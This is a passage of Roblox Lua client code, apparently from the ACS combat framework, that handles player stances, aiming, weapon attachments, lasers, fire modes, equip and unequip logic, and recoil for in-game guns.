WeaponData.CurrentZero = math.max(WeaponData.CurrentZero - WeaponData.ZeroIncrement, 0)
UpdateGui()
end
end
if actionName == "CheckMag" and inputState == Enum.UserInputState.Begin and not CheckingMag and not reloading and not runKeyDown and AnimDebounce and WeaponData.CanCheckMag then
CheckMagFunction()
end
if actionName == "ToggleBipod" and inputState == Enum.UserInputState.Begin and CanBipod then
BipodActive = not BipodActive
UpdateGui()
end
if actionName == "NVG" and inputState == Enum.UserInputState.Begin and not NVGdebounce then
if not plr.Character then return; end;
local helmet = plr.Character:FindFirstChild("Helmet")
if not helmet then return; end;
local nvg = helmet:FindFirstChild("Up")
if not nvg then return; end;
NVGdebounce = true
delay(.8,function()
NVG = not NVG
Evt.NVG:Fire(NVG)
NVGdebounce = false
end)
end
if actionName == "ADS" and inputState == Enum.UserInputState.Begin and AnimDebounce then
if WeaponData and WeaponData.canAim and GunStance > -2 and not runKeyDown and not CheckingMag then
aimming = not aimming
ADS(aimming)
end
if WeaponData.Type == "Grenade" then
GrenadeMode()
end
end
if actionName == "Stand" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then
if Stances == 2 then
Crouched = true
Proned = false
Stances = 1
CameraY = -1
Crouch()
elseif Stances == 1 then
Crouched = false
Stances = 0
CameraY = 0
Stand()
end
end
if actionName == "Crouch" and inputState == Enum.UserInputState.Begin and ChangeStance and not Swimming and not Sentado and not runKeyDown and not ACS_Client:GetAttribute("Collapsed") then
if Stances == 0 then
Stances = 1
CameraY = -1
Crouch()
Crouched = true
elseif Stances == 1 then
Stances = 2
CameraX = 0
CameraY = -3.25
Virar = 0
Lean()
Prone()
Crouched = false
Proned = true
end
end
if actionName == "ToggleWalk" and inputState == Enum.UserInputState.Begin and ChangeStance and not runKeyDown then
Steady = not Steady
SE_GUI.MainFrame.Poses.Steady.Visible = Steady
if Stances == 0 then
Stand()
end
end
if actionName == "LeanLeft" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then
if Virar == 0 or Virar == 1 then
Virar = -1
CameraX = -1.25
else
Virar = 0
CameraX = 0
end
Lean()
end
if actionName == "LeanRight" and inputState == Enum.UserInputState.Begin and Stances ~= 2 and ChangeStance and not Swimming and not runKeyDown and CanLean and not ACS_Client:GetAttribute("Collapsed") then
if Virar == 0 or Virar == -1 then
Virar = 1
CameraX = 1.25
else
Virar = 0
CameraX = 0
end
Lean()
end
if actionName == "Run" and inputState == Enum.UserInputState.Begin and running and not script.Parent:GetAttribute("Injured") then
mouse1down = false
runKeyDown = true
Stand()
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Lean()
--SetWalkSpeed(gameRules.RunWalkSpeed)
if aimming then
aimming = false
ADS(aimming)
end
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 3
Evt.GunStance:FireServer(GunStance,AnimData)
SprintAnim()
end
elseif actionName == "Run" and inputState == Enum.UserInputState.End and runKeyDown then
runKeyDown = false
Stand()
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
end
end
end
function resetMods()
ModTable.camRecoilMod.RecoilUp = 1
ModTable.camRecoilMod.RecoilLeft = 1
ModTable.camRecoilMod.RecoilRight = 1
ModTable.camRecoilMod.RecoilTilt = 1
ModTable.gunRecoilMod.RecoilUp = 1
ModTable.gunRecoilMod.RecoilTilt = 1
ModTable.gunRecoilMod.RecoilLeft = 1
ModTable.gunRecoilMod.RecoilRight = 1
ModTable.AimRM = 1
ModTable.SpreadRM = 1
ModTable.DamageMod = 1
ModTable.minDamageMod = 1
ModTable.MinRecoilPower = 1
ModTable.MaxRecoilPower = 1
ModTable.RecoilPowerStepAmount = 1
ModTable.MinSpread = 1
ModTable.MaxSpread = 1
ModTable.AimInaccuracyStepAmount = 1
ModTable.AimInaccuracyDecrease = 1
ModTable.WalkMult = 1
ModTable.MuzzleVelocity = 1
end
function setMods(ModData)
ModTable.camRecoilMod.RecoilUp = ModTable.camRecoilMod.RecoilUp * ModData.camRecoil.RecoilUp
ModTable.camRecoilMod.RecoilLeft = ModTable.camRecoilMod.RecoilLeft * ModData.camRecoil.RecoilLeft
ModTable.camRecoilMod.RecoilRight = ModTable.camRecoilMod.RecoilRight * ModData.camRecoil.RecoilRight
ModTable.camRecoilMod.RecoilTilt = ModTable.camRecoilMod.RecoilTilt * ModData.camRecoil.RecoilTilt
ModTable.gunRecoilMod.RecoilUp = ModTable.gunRecoilMod.RecoilUp * ModData.gunRecoil.RecoilUp
ModTable.gunRecoilMod.RecoilTilt = ModTable.gunRecoilMod.RecoilTilt * ModData.gunRecoil.RecoilTilt
ModTable.gunRecoilMod.RecoilLeft = ModTable.gunRecoilMod.RecoilLeft * ModData.gunRecoil.RecoilLeft
ModTable.gunRecoilMod.RecoilRight = ModTable.gunRecoilMod.RecoilRight * ModData.gunRecoil.RecoilRight
ModTable.AimRM = ModTable.AimRM * ModData.AimRecoilReduction
ModTable.SpreadRM = ModTable.SpreadRM * ModData.AimSpreadReduction
ModTable.DamageMod = ModTable.DamageMod * ModData.DamageMod
ModTable.minDamageMod = ModTable.minDamageMod * ModData.minDamageMod
ModTable.MinRecoilPower = ModTable.MinRecoilPower * ModData.MinRecoilPower
ModTable.MaxRecoilPower = ModTable.MaxRecoilPower * ModData.MaxRecoilPower
ModTable.RecoilPowerStepAmount = ModTable.RecoilPowerStepAmount * ModData.RecoilPowerStepAmount
ModTable.MinSpread = ModTable.MinSpread * ModData.MinSpread
ModTable.MaxSpread = ModTable.MaxSpread * ModData.MaxSpread
ModTable.AimInaccuracyStepAmount = ModTable.AimInaccuracyStepAmount * ModData.AimInaccuracyStepAmount
ModTable.AimInaccuracyDecrease = ModTable.AimInaccuracyDecrease * ModData.AimInaccuracyDecrease
ModTable.WalkMult = ModTable.WalkMult * ModData.WalkMult
ModTable.MuzzleVelocity = ModTable.MuzzleVelocity * ModData.MuzzleVelocityMod
end
function loadAttachment(weapon)
if not weapon or not weapon:FindFirstChild("Nodes") then return; end;
--load sight Att
if weapon.Nodes:FindFirstChild("Sight") and WeaponData.SightAtt ~= "" then
SightData = require(AttModules[WeaponData.SightAtt])
SightAtt = AttModels[WeaponData.SightAtt]:Clone()
SightAtt.Parent = weapon
SightAtt:SetPrimaryPartCFrame(weapon.Nodes.Sight.CFrame)
weapon.AimPart.CFrame = SightAtt.AimPos.CFrame
reticle = SightAtt.SightMark.SurfaceGui.Border.Scope
if SightData.SightZoom > 0 then
ModTable.ZoomValue = SightData.SightZoom
end
if SightData.SightZoom2 > 0 then
ModTable.Zoom2Value = SightData.SightZoom2
end
setMods(SightData)
for index, key in pairs(weapon:GetChildren()) do
if key.Name ~= "IS" then continue; end;
key.Transparency = 1
end
for index, key in pairs(SightAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Barrel Att
if weapon.Nodes:FindFirstChild("Barrel") ~= nil and WeaponData.BarrelAtt ~= "" then
BarrelData = require(AttModules[WeaponData.BarrelAtt])
BarrelAtt = AttModels[WeaponData.BarrelAtt]:Clone()
BarrelAtt.Parent = weapon
BarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.Barrel.CFrame)
if BarrelAtt:FindFirstChild("BarrelPos") ~= nil then
weapon.Handle.Muzzle.WorldCFrame = BarrelAtt.BarrelPos.CFrame
end
Suppressor = BarrelData.IsSuppressor
FlashHider = BarrelData.IsFlashHider
setMods(BarrelData)
for index, key in pairs(BarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
--load Under Barrel Att
if weapon.Nodes:FindFirstChild("UnderBarrel") ~= nil and WeaponData.UnderBarrelAtt ~= "" then
UnderBarrelData = require(AttModules[WeaponData.UnderBarrelAtt])
UnderBarrelAtt = AttModels[WeaponData.UnderBarrelAtt]:Clone()
UnderBarrelAtt.Parent = weapon
UnderBarrelAtt:SetPrimaryPartCFrame(weapon.Nodes.UnderBarrel.CFrame)
setMods(UnderBarrelData)
BipodAtt = UnderBarrelData.IsBipod
if BipodAtt then
CAS:BindAction("ToggleBipod", handleAction, true, gameRules.ToggleBipod)
end
for index, key in pairs(UnderBarrelAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
if weapon.Nodes:FindFirstChild("Other") ~= nil and WeaponData.OtherAtt ~= "" then
OtherData = require(AttModules[WeaponData.OtherAtt])
OtherAtt = AttModels[WeaponData.OtherAtt]:Clone()
OtherAtt.Parent = weapon
OtherAtt:SetPrimaryPartCFrame(weapon.Nodes.Other.CFrame)
setMods(OtherData)
LaserAtt = OtherData.EnableLaser
TorchAtt = OtherData.EnableFlashlight
if OtherData.InfraRed then
IREnable = true
end
for index, key in pairs(OtherAtt:GetChildren()) do
if not key:IsA('BasePart') then continue; end;
Ultil.Weld(weapon:WaitForChild("Handle"), key )
key.Anchored = false
key.CanCollide = false
end
end
end
function SetLaser()
if gameRules.RealisticLaser and IREnable then
if not LaserActive and not IRmode then
LaserActive = true
IRmode = true
elseif LaserActive and IRmode then
IRmode = false
else
LaserActive = false
IRmode = false
end
else
LaserActive = not LaserActive
end
WeaponInHand.Handle.Click:play()
UpdateGui()
if LaserActive then
if Pointer then return; end;
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end;
local LaserPointer = Instance.new('Part',Key)
LaserPointer.Shape = 'Ball'
LaserPointer.Size = Vector3.new(0.2, 0.2, 0.2)
LaserPointer.CanCollide = false
LaserPointer.Color = Key.Color
LaserPointer.Material = Enum.Material.Neon
local LaserSP = Instance.new('Attachment',Key)
local LaserEP = Instance.new('Attachment',LaserPointer)
local Laser = Instance.new('Beam',LaserPointer)
Laser.Transparency = NumberSequence.new(0)
Laser.LightEmission = 1
Laser.LightInfluence = 1
Laser.Attachment0 = LaserSP
Laser.Attachment1 = LaserEP
Laser.Color = ColorSequence.new(Key.Color)
Laser.FaceCamera = true
Laser.Width0 = 0.01
Laser.Width1 = 0.01
if gameRules.RealisticLaser then
Laser.Enabled = false
end
Pointer = LaserPointer
break
end
else
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "LaserPoint" then continue; end;
Key:ClearAllChildren()
break
end
Pointer = nil
if gameRules.ReplicatedLaser then
Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool)
end
end
end
function SetTorch()
TorchActive = not TorchActive
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if not Key:IsA("BasePart") or Key.Name ~= "FlashPoint" then continue; end;
Key.Light.Enabled = TorchActive
end
Evt.SVFlash:FireServer(WeaponTool,TorchActive)
WeaponInHand.Handle.Click:play()
UpdateGui()
end
function ToggleADS(Type)
local ADSTween
if WeaponData.adsTime then
ADSTween = TweenInfo.new(WeaponData.adsTime / 20,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,WeaponData.adsTime / 20)
else
ADSTween = TweenInfo.new(0.2,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false,0.2)
end
if Type == "REG" then
for _, child in pairs(WeaponInHand:GetChildren()) do
if child.Name == "REG" then
TS:Create(child, ADSTween, {Transparency = 0}):Play()
elseif child.Name == "ADS" then
TS:Create(child, ADSTween, {Transparency = 1}):Play()
end
end
elseif Type == "ADS" then
for _, child in pairs(WeaponInHand:GetChildren()) do
if child.Name == "REG" then
TS:Create(child, ADSTween, {Transparency = 1}):Play()
elseif child.Name == "ADS" then
TS:Create(child, ADSTween, {Transparency = 0}):Play()
end
end
end
end
function ADS(aimming)
if not WeaponData or not WeaponInHand then return; end;
if aimming then
if SafeMode then
SafeMode = false
GunStance = 0
IdleAnim()
UpdateGui()
end
game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100)
WeaponInHand.Handle.AimDown:Play()
if WeaponData.ADSEnabled then
if WeaponData.ADSEnabled[AimPartMode] then
ToggleADS("ADS")
end
else
ToggleADS("ADS")
end
GunStance = 2
Evt.GunStance:FireServer(GunStance,AnimData)
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
else
game:GetService('UserInputService').MouseDeltaSensitivity = 1
WeaponInHand.Handle.AimUp:Play()
ToggleADS("REG")
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
if WeaponData.CrossHair then
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
end
if WeaponData.CenterDot then
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play()
else
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
end
end
end
function SetAimpart()
if aimming then
if AimPartMode == 1 then
AimPartMode = 2
if WeaponInHand:FindFirstChild('AimPart2') then
CurAimpart = WeaponInHand:FindFirstChild('AimPart2')
end
else
AimPartMode = 1
CurAimpart = WeaponInHand:FindFirstChild('AimPart')
end
--print("Set to Aimpart: "..AimPartMode)
if WeaponData.ADSEnabled then
if WeaponData.ADSEnabled[AimPartMode] then
ToggleADS("ADS")
else
ToggleADS("REG")
end
end
end
end
function Firemode()
WeaponInHand.Handle.SafetyClick:Play()
mouse1down = false
---Semi Settings---
if WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == true then
WeaponData.ShootType = 2
elseif WeaponData.ShootType == 1 and WeaponData.FireModes.Burst == false and WeaponData.FireModes.Auto == true then
WeaponData.ShootType = 3
---Burst Settings---
elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Auto == true then
WeaponData.ShootType = 3
elseif WeaponData.ShootType == 2 and WeaponData.FireModes.Semi == true and WeaponData.FireModes.Auto == false then
WeaponData.ShootType = 1
---Auto Settings---
elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == true then
WeaponData.ShootType = 1
elseif WeaponData.ShootType == 3 and WeaponData.FireModes.Semi == false and WeaponData.FireModes.Burst == true then
WeaponData.ShootType = 2
---Explosive Settings---
end
UpdateGui()
end
function setup(Tool)
if not char or not Tool or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end;
local ToolCheck = Tool
local GunModelCheck = GunModels:FindFirstChild(Tool.Name)
if not ToolCheck or not GunModelCheck then warn("Tool Or Gun Model Doesn't Exist") return; end;
ToolEquip = true
User.MouseIconEnabled = false
plr.CameraMode = Enum.CameraMode.LockFirstPerson
WeaponTool = ToolCheck
if WeaponTool then
PreviousTool = WeaponTool
canDrop = true
end
WeaponData = require(Tool:FindFirstChild("ACS_Settings"))
AnimData = require(Tool:FindFirstChild("ACS_Animations"))
WeaponInHand = GunModelCheck:Clone()
WeaponInHand.PrimaryPart = WeaponInHand:WaitForChild("Handle")
Evt.Equip:FireServer(Tool,1,WeaponData,AnimData)
if WeaponData.Type == "Gun" then
WeaponInHand.Handle.AimDown:Play()
RepValues = Tool:WaitForChild("RepValues")
end
ViewModel = ArmModel:WaitForChild("Arms"):Clone()
ViewModel.Name = "Viewmodel"
if char:WaitForChild("Body Colors") then
local Colors = char:WaitForChild("Body Colors"):Clone()
Colors.Parent = ViewModel
end
if char:FindFirstChild("Shirt") then
local Shirt = char:FindFirstChild("Shirt"):Clone()
Shirt.Parent = ViewModel
end
AnimPart = Instance.new("Part",ViewModel)
AnimPart.Size = Vector3.new(0.1,0.1,0.1)
AnimPart.Anchored = true
AnimPart.CanCollide = false
AnimPart.Transparency = 1
ViewModel.PrimaryPart = AnimPart
LArmWeld = Instance.new("Motor6D",AnimPart)
LArmWeld.Name = "LeftArm"
LArmWeld.Part0 = AnimPart
RArmWeld = Instance.new("Motor6D",AnimPart)
RArmWeld.Name = "RightArm"
RArmWeld.Part0 = AnimPart
GunWeld = Instance.new("Motor6D",AnimPart)
GunWeld.Name = "Handle"
--setup arms to camera
ViewModel.Parent = cam
maincf = AnimData.MainCFrame
guncf = AnimData.GunCFrame
larmcf = AnimData.LArmCFrame
rarmcf = AnimData.RArmCFrame
if WeaponData.CrossHair then
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 0}):Play()
if WeaponData.Bullets > 1 then
Crosshair.Up.Rotation = 90
Crosshair.Down.Rotation = 90
Crosshair.Left.Rotation = 90
Crosshair.Right.Rotation = 90
else
Crosshair.Up.Rotation = 0
Crosshair.Down.Rotation = 0
Crosshair.Left.Rotation = 0
Crosshair.Right.Rotation = 0
end
else
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
end
if WeaponData.CenterDot then
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 0}):Play()
else
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
end
LArm = ViewModel:WaitForChild("Left Arm")
LArmWeld.Part1 = LArm
LArmWeld.C0 = CFrame.new()
LArmWeld.C1 = CFrame.new(1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse()
RArm = ViewModel:WaitForChild("Right Arm")
RArmWeld.Part1 = RArm
RArmWeld.C0 = CFrame.new()
RArmWeld.C1 = CFrame.new(-1,-1,-5) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)):inverse()
GunWeld.Part0 = RArm
LArm.Anchored = false
RArm.Anchored = false
--setup weapon to camera
ModTable.ZoomValue = WeaponData.Zoom
ModTable.Zoom2Value = WeaponData.Zoom2
IREnable = WeaponData.InfraRed
CAS:BindAction("Fire", handleAction, true, Enum.UserInputType.MouseButton1, Enum.KeyCode.ButtonR2)
CAS:BindAction("ADS", handleAction, true, Enum.UserInputType.MouseButton2, Enum.KeyCode.ButtonL2)
CAS:BindAction("Reload", handleAction, true, gameRules.Reload, Enum.KeyCode.ButtonB)
CAS:BindAction("CycleAimpart", handleAction, false, gameRules.SwitchSights)
CAS:BindAction("CycleLaser", handleAction, true, gameRules.ToggleLaser)
CAS:BindAction("CycleLight", handleAction, true, gameRules.ToggleLight)
CAS:BindAction("CycleFiremode", handleAction, false, gameRules.FireMode)
CAS:BindAction("CheckMag", handleAction, false, gameRules.CheckMag)
CAS:BindAction("ZeroDown", handleAction, false, gameRules.ZeroDown)
CAS:BindAction("ZeroUp", handleAction, false, gameRules.ZeroUp)
CAS:BindAction("DropWeapon", handleAction, true, gameRules.DropGun)
loadAttachment(WeaponInHand)
BSpread = math.min(WeaponData.MinSpread * ModTable.MinSpread, WeaponData.MaxSpread * ModTable.MaxSpread)
RecoilPower = math.min(WeaponData.MinRecoilPower * ModTable.MinRecoilPower, WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower)
if RepValues then
Ammo = RepValues.Mag.Value
StoredAmmo = RepValues.StoredAmmo.Value
else
Ammo = WeaponData.Ammo
StoredAmmo = WeaponData.StoredAmmo
end
CurAimpart = WeaponInHand:FindFirstChild("AimPart")
for _, cPart in pairs(WeaponInHand:GetChildren()) do
if cPart.Name == "Warhead" and Ammo < 1 then
cPart.Transparency = 1
end
end
for index, Key in pairs(WeaponInHand:GetDescendants()) do
if Key:IsA("BasePart") and Key.Name == "FlashPoint" then
TorchAtt = true
end
if Key:IsA("BasePart") and Key.Name == "LaserPoint" then
LaserAtt = true
end
end
if WeaponData.Type == "Gun" and WeaponData.ShellEjectionMod then
WeaponInHand.Bolt.SlidePull.Played:Connect(function()
--print(canPump)
if Ammo > 0 or canPump then
CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber)
WeaponInHand.Handle.Chamber.Smoke:Emit(10)
canPump = false
end
end)
end
if WeaponData.EnableHUD then
SE_GUI.GunHUD.Visible = true
end
UpdateGui()
for index, key in pairs(WeaponInHand:GetChildren()) do
if key:IsA('BasePart') and key.Name ~= 'Handle' then
if key.Name ~= "Bolt" and key.Name ~= 'Lid' and key.Name ~= "Slide" then
Ultil.Weld(WeaponInHand:WaitForChild("Handle"), key)
end
if key.Name == "Bolt" or key.Name == "Slide" then
Ultil.WeldComplex(WeaponInHand:WaitForChild("Handle"), key, key.Name)
end;
if key.Name == "Lid" then
if WeaponInHand:FindFirstChild('LidHinge') then
Ultil.Weld(key, WeaponInHand:WaitForChild("LidHinge"))
else
Ultil.Weld(key, WeaponInHand:WaitForChild("Handle"))
end
end
end
end;
for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand:GetChildren()) do
if L_214_forvar2:IsA('BasePart') then
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
if WeaponInHand:FindFirstChild("Nodes") then
for L_213_forvar1, L_214_forvar2 in pairs(WeaponInHand.Nodes:GetChildren()) do
if L_214_forvar2:IsA('BasePart') then
Ultil.Weld(WeaponInHand:WaitForChild("Handle"), L_214_forvar2)
L_214_forvar2.Anchored = false
L_214_forvar2.CanCollide = false
end
end;
end
GunWeld.Part1 = WeaponInHand:WaitForChild("Handle")
GunWeld.C1 = guncf
--WeaponInHand:SetPrimaryPartCFrame( RArm.CFrame * guncf)
WeaponInHand.Parent = ViewModel
if Ammo <= 0 and WeaponData.Type == "Gun" then
WeaponInHand.Handle.Slide.C0 = WeaponData.SlideEx:inverse()
end
EquipAnim()
if WeaponData and WeaponData.Type ~= "Grenade" then
RunCheck()
end
end
function unset()
ToolEquip = false
Evt.Equip:FireServer(WeaponTool,2)
--unsetup weapon data module
CAS:UnbindAction("Fire")
CAS:UnbindAction("ADS")
CAS:UnbindAction("Reload")
CAS:UnbindAction("CycleLaser")
CAS:UnbindAction("CycleLight")
CAS:UnbindAction("CycleFiremode")
CAS:UnbindAction("CycleAimpart")
CAS:UnbindAction("ZeroUp")
CAS:UnbindAction("ZeroDown")
CAS:UnbindAction("CheckMag")
mouse1down = false
aimming = false
TS:Create(cam,AimTween,{FieldOfView = 70}):Play()
TS:Create(Crosshair.Up, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Down, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Left, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Right, TweenInfo.new(.2,Enum.EasingStyle.Linear), {BackgroundTransparency = 1}):Play()
TS:Create(Crosshair.Center, TweenInfo.new(.2,Enum.EasingStyle.Linear), {ImageTransparency = 1}):Play()
User.MouseIconEnabled = true
game:GetService('UserInputService').MouseDeltaSensitivity = 1
cam.CameraType = Enum.CameraType.Custom
plr.CameraMode = Enum.CameraMode.Classic
if WeaponInHand then
if WeaponData.Type == "Gun" then
local chambered = true
if WeaponData.Jammed or Ammo < 1 then chambered = false end
Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed)
--WeaponData.AmmoInGun = Ammo
--WeaponData.StoredAmmo = StoredAmmo
end
ViewModel:Destroy()
ViewModel = nil
WeaponInHand = nil
WeaponTool = nil
LArm = nil
RArm = nil
LArmWeld = nil
RArmWeld = nil
WeaponData = nil
AnimData = nil
SightAtt = nil
reticle = nil
BarrelAtt = nil
UnderBarrelAtt = nil
OtherAtt = nil
LaserAtt = false
LaserActive = false
IRmode = false
TorchAtt = false
TorchActive = false
BipodAtt = false
BipodActive = false
LaserDist = 0
Pointer = nil
BSpread = nil
RecoilPower = nil
Suppressor = false
FlashHider = false
CancelReload = false
reloading = false
SafeMode = false
CheckingMag = false
GRDebounce = false
CookGrenade = false
GunStance = 0
resetMods()
generateBullet = 1
AimPartMode = 1
SE_GUI.GunHUD.Visible = false
SE_GUI.GrenadeForce.Visible = false
BipodCF = CFrame.new()
if gameRules.ReplicatedLaser then
Evt.SVLaser:FireServer(nil,2,nil,false,WeaponTool)
end
end
--if runKeyDown then
-- SetWalkSpeed(gameRules.RunWalkSpeed)
--elseif Crouched then
-- SetWalkSpeed(gameRules.CrouchWalkSpeed)
--elseif Proned then
-- SetWalkSpeed(gameRules.ProneWalkSpeed)
--elseif Steady then
-- SetWalkSpeed(gameRules.SlowPaceWalkSpeed)
--else
-- SetWalkSpeed(gameRules.NormalWalkSpeed)
--end
RepValues = nil
end
local HalfStep = false
function HeadMovement()
if gameRules.HeadMovement or WeaponInHand then
if not char:FindFirstChild("HumanoidRootPart") or not char:FindFirstChild("Humanoid") or char.Humanoid.Health <= 0 then return; end;
if char.Humanoid.RigType == Enum.HumanoidRigType.R15 then return; end;
if not ACS_Client or ACS_Client:GetAttribute("Collapsed") then return; end;
local CameraDirection = char.HumanoidRootPart.CFrame:toObjectSpace(cam.CFrame).lookVector
if Neck then
HalfStep = not HalfStep
local neckCFrame = CFNew(0, -.5, 0) * CFAng(0, Asin(CameraDirection.x)/1.15, 0) * CFAng(-Asin(cam.CFrame.LookVector.y)+Asin(char.Torso.CFrame.lookVector.Y), 0, 0) * CFAng(-math.rad(90), 0, math.rad(180))
TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play()
if not HalfStep then return; end;
Evt.HeadRot:FireServer(neckCFrame)
end
elseif not gameRules.HeadMovement then
local neckCFrame = CFrame.new(0,-0.5,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = neckCFrame}):Play()
Evt.HeadRot:FireServer(neckCFrame)
end
end
function renderCam()
cam.CFrame = cam.CFrame*CFrame.Angles(cameraspring.p.x,cameraspring.p.y,cameraspring.p.z)
end
function renderGunRecoil()
recoilcf = recoilcf*CFrame.Angles(RecoilSpring.p.x,RecoilSpring.p.y,RecoilSpring.p.z)
end
function Recoil()
local vr = (math.random(WeaponData.camRecoil.camRecoilUp[1], WeaponData.camRecoil.camRecoilUp[2])/2) * ModTable.camRecoilMod.RecoilUp
local lr = (math.random(WeaponData.camRecoil.camRecoilLeft[1], WeaponData.camRecoil.camRecoilLeft[2])) * ModTable.camRecoilMod.RecoilLeft
local rr = (math.random(WeaponData.camRecoil.camRecoilRight[1], WeaponData.camRecoil.camRecoilRight[2])) * ModTable.camRecoilMod.RecoilRight
local hr = (math.random(-rr, lr)/2)
local tr = (math.random(WeaponData.camRecoil.camRecoilTilt[1], WeaponData.camRecoil.camRecoilTilt[2])/2) * ModTable.camRecoilMod.RecoilTilt
local RecoilX = math.rad(vr * RAND( 1, 1, .1))
local RecoilY = math.rad(hr * RAND(-1, 1, .1))
local RecoilZ = math.rad(tr * RAND(-1, 1, .1))
local gvr = (math.random(WeaponData.gunRecoil.gunRecoilUp[1], WeaponData.gunRecoil.gunRecoilUp[2]) /10) * ModTable.gunRecoilMod.RecoilUp
local gdr = (math.random(-1,1) * math.random(WeaponData.gunRecoil.gunRecoilTilt[1], WeaponData.gunRecoil.gunRecoilTilt[2]) /10) * ModTable.gunRecoilMod.RecoilTilt
local glr = (math.random(WeaponData.gunRecoil.gunRecoilLeft[1], WeaponData.gunRecoil.gunRecoilLeft[2])) * ModTable.gunRecoilMod.RecoilLeft
local grr = (math.random(WeaponData.gunRecoil.gunRecoilRight[1], WeaponData.gunRecoil.gunRecoilRight[2])) * ModTable.gunRecoilMod.RecoilRight
local ghr = (math.random(-grr, glr)/10)
local ARR = WeaponData.AimRecoilReduction * ModTable.AimRM
if BipodActive then
cameraspring:accelerate(Vector3.new( RecoilX, RecoilY/2, 0 ))
if not aimming then
